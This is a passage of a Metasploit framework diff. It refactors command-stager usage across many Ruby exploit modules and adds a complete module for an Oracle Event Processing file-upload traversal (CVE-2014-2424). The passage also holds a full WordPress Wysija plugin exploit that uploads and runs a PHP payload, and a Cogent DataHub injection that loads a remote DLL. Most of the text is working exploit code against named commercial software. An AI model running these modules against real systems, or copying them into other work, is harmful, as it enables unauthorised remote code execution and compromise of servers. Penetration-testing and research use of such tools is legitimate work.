# -) Exactly one folder representing the theme name
|
||||
# -) A style.css in the theme folder
|
||||
# -) Additional files in the folder
|
||||
|
||||
content = {
|
||||
::File.join(theme_name, 'style.css') => '',
|
||||
::File.join(theme_name, payload_name) => payload.encoded
|
||||
}
|
||||
|
||||
zip_file = Rex::Zip::Archive.new
|
||||
content.each_pair do |name, content|
|
||||
zip_file.add_file(name, content)
|
||||
end
|
||||
|
||||
zip_file.pack
|
||||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
|
||||
res = send_request_cgi({
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
# no readme.txt present
|
||||
if res.nil? || res.code != 200
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
if version.nil?
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
print_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
theme_name = rand_text_alpha(10)
|
||||
payload_name = "#{rand_text_alpha(10)}.php"
|
||||
|
||||
zip_content = create_zip_file(theme_name, payload_name)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
|
||||
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
|
||||
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
|
||||
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
|
||||
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
|
||||
post_data = data.to_s
|
||||
|
||||
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload to #{payload_uri}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
# Files to cleanup (session is dropped in the created folder):
|
||||
# style.css
|
||||
# the payload
|
||||
# the theme folder (manual cleanup)
|
||||
register_files_for_cleanup('style.css', payload_name)
|
||||
|
||||
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
|
||||
|
||||
print_status("#{peer} - Executing payload #{payload_uri}")
|
||||
res = send_request_cgi({
|
||||
'uri' => payload_uri,
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
end
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
|
||||
], self.class)
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def uri
|
||||
|
@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
@session = login(admin_password)
|
||||
|
||||
execute_cmdstager
|
||||
execute_cmdstager({:flavor => :echo})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 26 2010'))
|
||||
|
||||
|
@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def windows_stager
|
||||
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include REXML
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Opt::RPORT(9090),
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/'])
|
||||
], self.class)
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
print_status("#{peer} - Sending payload")
|
||||
# Execute the cmdstager, max length of the commands is ~3950
|
||||
execute_cmdstager({:linemax => 3950})
|
||||
execute_cmdstager({:flavor => :vbs, :linemax => 3950})
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
|
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DisclosureDate' => 'Jun 09 2009',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Tested on Windows XP and Windows 2003
|
||||
[ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 5
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'DisclosureDate' => 'Apr 13 2011',
|
||||
|
@ -52,11 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def windows_stager
|
||||
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -22,7 +22,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
makes insecure use of the datahub_command function with user controlled
|
||||
data, allowing execution of arbitrary datahub commands and scripts. This
|
||||
module has been tested successfully with Cogent DataHub 7.3.4 on
|
||||
Windows 7 SP1.
|
||||
Windows 7 SP1. Please also note that after exploitation, the remote service
|
||||
will most likely hang and restart manually.
|
||||
},
|
||||
'Author' => [
|
||||
'John Leitch', # Vulnerability discovery
|
||||
|
@ -50,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
|
||||
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
|
||||
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
|
||||
'(do not change)', 80 ]),
|
||||
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +
|
||||
'wait for the payload request', 20]),
|
||||
|
@ -374,7 +375,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'vars_post' =>
|
||||
{
|
||||
'username' => rand_text_alpha(3 + rand(3)),
|
||||
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
|
||||
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
|
||||
"(load_plugin \"#{dll}\" 1)(\""
|
||||
}
|
||||
}, 1)
|
||||
|
@ -414,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@exploit_unc = "\\\\#{@myhost}\\"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
|
||||
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
|
||||
'URIPATH=/')
|
||||
end
|
||||
|
||||
|
@ -439,7 +440,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_error("#{peer} - Unexpected answer")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
|
||||
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
|
||||
'\\\\host\\shared_folder\\base_name.dll')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
|
||||
weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
|
||||
authentication in the CommunicationServlet component. On the other hand, it's possible to
|
||||
abuse a directory traversal when uploading files thorough the same component, allowing to
|
||||
upload an arbitrary payload embedded in a JSP. The module has been tested successfully on
|
||||
authentication in the CommunicationServlet component. Seond, it's possible to abuse a
|
||||
directory traversal when uploading files thorough the same component, allowing to upload
|
||||
an arbitrary payload embedded in a JSP. The module has been tested successfully on
|
||||
HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
|
||||
},
|
||||
'Author' =>
|
||||
|
|
|
@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
|
||||
|
@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||
},
|
||||
'DisclosureDate' => 'Jul 29 2013'))
|
||||
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file upload vulnerability in Oracle Event Processing
|
||||
11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be
|
||||
abused to upload a malicious file onto an arbitrary location due to a directory traversal
|
||||
flaw, and compromise the server. By default Oracle Event Processing uses a Jetty
|
||||
Application Server without JSP support, which limits the attack to WbemExec. The current
|
||||
WbemExec technique only requires arbitrary write to the file system, but at the moment the
|
||||
module only supports Windows 2003 SP2 or older.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-2424'],
|
||||
['ZDI', '14-106'],
|
||||
['BID', '66871'],
|
||||
['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 5
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 2048
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 21 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9002),
|
||||
# By default, uploads are stored in:
|
||||
# C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def upload(file_name, contents)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"")
|
||||
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"")
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/wlevs/visualizer/upload',
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => data
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def traversal
|
||||
"../" * datastore['DEPTH']
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Generating payload and mof file...")
|
||||
mof_name = "#{rand_text_alpha(rand(5)+5)}.mof"
|
||||
exe_name = "#{rand_text_alpha(rand(5)+5)}.exe"
|
||||
exe_content = generate_payload_exe
|
||||
mof_content = generate_mof(mof_name, exe_name)
|
||||
|
||||
print_status("#{peer} - Uploading the exe payload #{exe_name}...")
|
||||
exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}"
|
||||
res = upload(exe_traversal, exe_content)
|
||||
|
||||
unless res && res.code == 200 && res.body.blank?
|
||||
print_error("#{peer} - Unexpected answer, trying anyway...")
|
||||
end
|
||||
register_file_for_cleanup(exe_name)
|
||||
|
||||
print_status("#{peer} - Uploading the MOF file #{mof_name}")
|
||||
mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}"
|
||||
upload(mof_traversal, mof_content)
|
||||
register_file_for_cleanup("wbem/mof/good/#{mof_name}")
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/ohw/help/state',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'navSetId' => 'cepvi',
|
||||
'navId' => '0',
|
||||
'destination' => ''
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)")
|
||||
return Exploit::CheckCode::Detected
|
||||
elsif res.body.to_s.include?("Oracle Event Processing 12")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'win',
|
||||
'DisclosureDate' => 'Jul 13 2010',
|
||||
|
@ -53,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def windows_stager
|
||||
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
|
||||
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
execute_cmdstager({ :temp => '.'})
|
||||
execute_cmdstager({ :temp => '.' })
|
||||
@payload_exe = payload_exe
|
||||
|
||||
print_status("Attempting to execute the payload...")
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit
|
|||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit
|
|||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false
|
||||
))
|
||||
|
|
|
@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# NOTE: This cannot be an HttpClient module since the response from the server
|
||||
# is not a valid HttpResponse
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 15 2001'
|
||||
))
|
||||
|
@ -191,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
# Use the CMD stager to get a payload running
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname})
|
||||
|
||||
# Save these file names for later deletion
|
||||
@exe_cmd_copy = exe_fname
|
||||
|
|
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => 'tftp',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 17 1998'
|
||||
)
|
||||
|
|
|
@ -32,11 +32,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
super( update_info( info,
|
||||
'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',
|
||||
'Description' => %q{
|
||||
This module abuses a process creation policy in the Internet Explorer Sandbox which allows
|
||||
to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
|
||||
exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
|
||||
Level. Further interaction with the component allows to escape the Enhanced Protected Mode
|
||||
and execute arbitrary code with Medium Integrity.
|
||||
This module abuses a process creation policy in Internet Explorer's sandbox, specifically
|
||||
in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the
|
||||
Enhanced Protected Mode, and execute code with Medium Integrity.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::CmdStagerTFTP
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]),
|
||||
OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ])
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
@ -159,7 +159,7 @@ Processor-Speed=#{processor_speed}
|
|||
# CmdStagerVBS was tested here as well, however delivery took roughly
|
||||
# 30 minutes and required sending almost 350 notification messages.
|
||||
# size constraint requirement for SQLi is: linemax => 393
|
||||
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'})
|
||||
execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp})
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||
'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(5555),
|
||||
OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
|
||||
],
|
||||
self.class)
|
||||
], self.class)
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if target.name =~ /VBScript CMDStager/
|
||||
# 7500 just in case, to be sure the command fits after
|
||||
# environment variables expansion
|
||||
execute_cmdstager({:linemax => 7500})
|
||||
execute_cmdstager({:flavor => :vbs, :linemax => 7500})
|
||||
elsif target.name =~ /Powershell/
|
||||
# Environment variables are not being expanded before, neither in CreateProcess
|
||||
command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
|
||||
|
|
|
@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
#include Msf::Exploit::CmdStagerDebugAsm
|
||||
#include Msf::Exploit::CmdStagerDebugWrite
|
||||
#include Msf::Exploit::CmdStagerTFTP
|
||||
|
@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 30 2000'
|
||||
))
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL_SQLI
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'CmdStagerFlavor' => 'vbs',
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 30 2000'
|
||||
))
|
||||
|
|
|
@ -9,43 +9,44 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MYSQL
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
|
||||
'Description' => %q{
|
||||
This module creates and enables a custom UDF (user defined function) on the
|
||||
target host via the SELECT ... into DUMPFILE method of binary injection. On
|
||||
default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
|
||||
permissions not enforced, and the MySQL service runs as LocalSystem.
|
||||
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
|
||||
'Description' => %q{
|
||||
This module creates and enables a custom UDF (user defined function) on the
|
||||
target host via the SELECT ... into DUMPFILE method of binary injection. On
|
||||
default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
|
||||
permissions not enforced, and the MySQL service runs as LocalSystem.
|
||||
|
